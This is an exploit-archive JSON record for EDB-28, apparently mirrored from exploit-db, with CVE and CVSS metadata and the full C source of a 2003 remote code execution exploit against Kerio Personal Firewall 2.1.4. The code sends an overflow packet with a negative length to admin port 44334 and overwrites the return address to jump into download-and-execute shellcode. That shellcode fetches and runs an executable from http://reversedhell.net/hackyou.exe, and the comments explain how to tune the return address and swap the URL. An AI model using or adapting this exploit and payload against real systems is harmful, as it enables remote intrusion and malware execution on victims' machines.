{"exploit":{"id":"EDB-28","name":"Sunbelt Kerio Personal Firewall 2.1.4 - Remote Code Execution (RCE)","description":"Sunbelt Kerio Personal Firewall 2.1.4 - Remote Code Execution (RCE)","cves":["CVE-2003-0220"],"author":"Burebista","published":"2003-05-08","platform":"windows","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/28","path":"exploits/windows/remote/28.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-28.c","vulnerabilities":[{"id":"CVE-2003-0220","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the administrator authentication process for Kerio Personal Firewall (KPF) 2.1.4 and earlier allows remote attackers to execute arbitrary code via a handshake packet.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0220","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0220"},"updatedAt":"2024-08-08T01:43:36.040Z","retrievedAt":"2026-11-26T13:10:32.752Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-28.png?v=2","url":"https://exploitbin.com/exploits/EDB-28","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-28/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-28/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * Kerio Personal Firewall v2.1.4 remote code execution exploit\n * Tested on Windows XP with SP1\n *\n * In order to exploit, for ease of mind, set the firewall to permit all traffic, or allow\n * a connection to port 44334 from your testing unix shell ip.\n *\n * It is also possible to use UDP instead of TCP\n *\n * It works out very well, if not, hit a few times with a ret addr of 0x41414141 to make it crash\n * AT THAT addr. Then use the original one, it will work. The one I used points to a 'call esp'\n * inside the RPCRT4.DLL.\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#include <netdb.h>\n#include <sys/types.h>\n#include <netinet/in.h>\n#include <sys/socket.h>\n\n#define PORT 44334 // the port client will be connecting to, default Kerio admin port\n#define retpos 5272\n#define MAXDATASIZE 5277 // max number of bytes we can get, also size of buffer\n\n// global vars\n\nstruct sockaddr_in their_addr; // connector's address information\nchar buf[MAXDATASIZE];\nint numbytes;\n\nunsigned char shellcode[] =\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n  \"\\xEB\\x30\\x5F\\xFC\\x8B\\xF7\\x80\"\n\n\"\\x3F\\x08\\x75\\x03\\x80\\x37\\x08\\x47\\x80\\x3F\\x01\\x75\\xF2\\x8B\\xE6\\x33\\xD2\\xB2\\x04\\xC1\"\n\n\"\\xE2\\x08\\x2B\\xE2\\x8B\\xEC\\x33\\xD2\\xB2\\x03\\xC1\\xE2\\x08\\x2B\\xE2\\x54\\x5A\\xB2\\x7C\\x8B\"\n\n\"\\xE2\\xEB\\x02\\xEB\\x57\\x89\\x75\\xFC\\x33\\xC0\\xB4\\x40\\xC1\\xE0\\x08\\x89\\x45\\xF8\\x8B\\x40\"\n\n\"\\x3C\\x03\\x45\\xF8\\x8D\\x40\\x7E\\x8B\\x40\\x02\\x03\\x45\\xF8\\x8B\\xF8\\x8B\\x7F\\x0C\\x03\\x7D\"\n\n\"\\xF8\\x81\\x3F\\x4B\\x45\\x52\\x4E\\x74\\x07\\x83\\xC0\\x14\\x8B\\xF8\\xEB\\xEB\\x50\\x8B\\xF8\\x33\"\n\n\"\\xC9\\x33\\xC0\\xB1\\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CC\\xFF\\xD0\"\n\n\"\\x33\\xD2\\x52\\x8B\\x45\\xC8\\xFF\\xD0\\xE8\\xE6\\xFD\\xFF\\xFF\\x47\\x65\\x74\\x4D\\x6F\\x64\\x75\"\n\n\"\\x6C\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x41\\x08\\x6B\\x65\\x72\\x6E\\x65\\x6C\\x33\\x32\\x2E\\x64\"\n\n\"\\x6C\\x6C\\x08\\x47\\x65\\x74\\x50\\x72\\x6F\\x63\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x08\\x4C\\x6F\"\n\n\"\\x61\\x64\\x4C\\x69\\x62\\x72\\x61\\x72\\x79\\x41\\x08\\x5F\\x6C\\x63\\x72\\x65\\x61\\x74\\x08\\x5F\"\n\n\"\\x6C\\x77\\x72\\x69\\x74\\x65\\x08\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x41\\x6C\\x6C\\x6F\\x63\\x08\\x5F\"\n\n\"\\x6C\\x63\\x6C\\x6F\\x73\\x65\\x08\\x57\\x69\\x6E\\x45\\x78\\x65\\x63\\x08\\x45\\x78\\x69\\x74\\x50\"\n\n\"\\x72\\x6F\\x63\\x65\\x73\\x73\\x08\\x77\\x69\\x6E\\x69\\x6E\\x65\\x74\\x2E\\x64\\x6C\\x6C\\x08\\x49\"\n\n\"\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x4F\\x70\\x65\\x6E\\x41\\x08\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\"\n\n\"\\x74\\x4F\\x70\\x65\\x6E\\x55\\x72\\x6C\\x41\\x08\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x52\\x65\"\n\n\"\\x61\\x64\\x46\\x69\\x6C\\x65\\x08\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x43\\x6C\\x6F\\x73\\x65\"\n\n\"\\x48\\x61\\x6E\\x64\\x6C\\x65\\x08\\x4E\\x53\\x08\\x6E\\x73\\x73\\x63\\x2E\\x65\\x78\\x65\\x08\"\n  \"http://reversedhell.net/hackyou.exe\"\n  \"\\x08\\x01\"; // download + exec from the net ; donno who wrote this sc\n\n  //change the url to whatever, this one pops up an innofensive message box\n\n// end of global vars\n\nint suck(int sock,int n) // painfull function to get rid of the painfull Kerio protocol\n{\n\tint i=0,j=0,k,a=0,b=0,c=0,d=0;\n\n\twhile (i<n)\n\t{\n\n\t\tif ((numbytes=recv(sock, buf, n, 0)) == -1) {\n            \tperror(\"recv\");\n            \texit(1);\n\t       }\n\n        \tif (j) i+=(numbytes-1); // ya i know i know :D\n\n        \telse i+=numbytes;\n\n        \tfor (k=0;k<numbytes;k++) {\n        \t\t\t\t\tif (k % 10 == 0) fprintf(stderr,\"\\n\");\n        \t\t\t\t\tif (buf[k]==0) fprintf(stderr,\"    0 \");\n        \t\t\t\t\telse fprintf(stderr,\" %4.0d \",buf[k]);\n        \t\t\t\t     }\n\n\n        \tfprintf(stderr,\"    * \");\n        \tj++;\n        \td=buf[numbytes];\n        \tc=buf[numbytes-1];\n        \tb=buf[numbytes-2];\n        \ta=buf[numbytes-3];\n        \tif ((i>200) && (a==0x1) && (b==0x0) && (c==0x1) && (d==0x0)) break;\n        }\n        fprintf(stderr,\"\\n\");\n        return i;\n}\n\n\n    int main(int argc, char *argv[])\n    {\n        int sockfd, i,j;\n        struct hostent *he;\n\n        if (argc != 2) {\n            fprintf(stderr,\"usage: ./%s hostname\\n\",argv[0]);\n            exit(1);\n        }\n\n        if ((he=gethostbyname(argv[1])) == NULL) {  // get the host info\n            perror(\"gethostbyname\");\n            exit(1);\n        }\n\n        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { // prepare a socket for connecting\n            perror(\"socket\");\n            exit(1);\n        }\n\n        their_addr.sin_family = AF_INET;    // host byte order\n        their_addr.sin_port = htons(PORT);  // short, network byte order\n        their_addr.sin_addr = *((struct in_addr *)he->h_addr);\n        memset(&(their_addr.sin_zero), '\\0', 8);  // zero the rest of the struct\n\n        if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1) {\n            perror(\"connect\");\n            exit(1);\n        }\n\n\n        fprintf(stderr,\"shell len = %d\\n\",strlen(shellcode));\n\t fprintf(stderr,\"Connected to firewall.\\n\");\n\t memset(buf,0x0,sizeof(buf));\n\t fprintf(stderr,\"Sucking buffer..\\n\");\n        suck(sockfd,266);\n        fprintf(stderr,\"\\nBuffer sucked by black hole..\\n\");\n    \t memset(buf,0x0,sizeof(buf));\n    \t fprintf(stderr,\"-------------------------------------------------\\n\");\n    \t fprintf(stderr,\"                 - BANNER -   \\n\");\n    \t fprintf(stderr,\"-------------------------------------------------\\n\");\n    \t sleep(1);\n\t fprintf(stderr,\"coded by Burebista (aanton@reversedhell.net)\\n\");\n\t fprintf(stderr,\"           released on - 5 Apr 2003 -\\n\");\n\n\t sleep(2);\n    \t fprintf(stderr,\"-------------------------------------------------\\n\");\n\t memset(buf,0x90,MAXDATASIZE); // set nops all over\n\n\t // prepares call up to beginning of buffer 32 bit=5 bytes\n\t buf[MAXDATASIZE-1]='\\xff'; //\n\t buf[MAXDATASIZE-2]='\\xff'; // call -1150\n\t buf[MAXDATASIZE-3]='\\xee'; //\n\t buf[MAXDATASIZE-4]='\\xab'; //\n\t buf[MAXDATASIZE-5]='\\xe8'; //\n\n\t j=0;\n                   // insert the shellcode in buf at 900\n\t for (i=900;j<strlen(shellcode);i++) buf[i]=shellcode[j++];\n\n\t // prepares the new return address (on XPSP1 it is CALL ESP in RPCRT4.DLL)\n\n\t buf[retpos-1]='\\x78';\n\t buf[retpos-2]='\\x07';\n\t buf[retpos-3]='\\x06';\n\t buf[retpos-4]='\\x90';\n\n\t // this prepares packet header with negative length\n\n\t buf[0]=0;\n\t buf[1]=0;\n\t buf[2]=0x14;\n\t buf[3]=0xffffff9c; // negative, -100. firewall will prepare\n\t                          // buf of that size. signed integers hit again\n\t/*\n         The 4th byte in the packet is the size of what the firewall will be expecting to receive\n        right ahead. If we send longer buffer then what we told the firewall to expect, it will be\n        simply truncated and nothing cool will happen. The problem is Kerio never thought we could\n        tell it something that stupid like we are going to send -100 bytes, it is like expecting a\n        client to buy -20 books from your library, which is an absurdity. There is no checking to\n        make sure the user input is valid. Again, invalid trusted user input. What they should have\n        done is either to use the 4th byte inside a modulus, to make sure it is always positive,\n        either lamingly check if it is negative, and if true, stop processing the inputted data.\n\n            What's so funny?\n\t*/\n\n\t if ((send(sockfd, buf,sizeof(buf),0)) == -1 ) { // PASARAN!\n\t\tperror(\"send\");\n\t\texit(1);\n\t }\n\t fprintf(stderr,\"..pasaran...\\n\");\n\t fprintf(stderr,\":D Done!\\n\");\n\n        close(sockfd);\n       }\n\n\n// milw0rm.com [2003-05-08]","sha256":"18e61a4ee8c7a5c07fe2796a2337a624e016e1df80d120eec4bef8e58477090f","bytes":9083,"fetchedAt":"2026-11-26T13:10:32.523Z","encoding":"utf-8 (display only; download retains original bytes)"}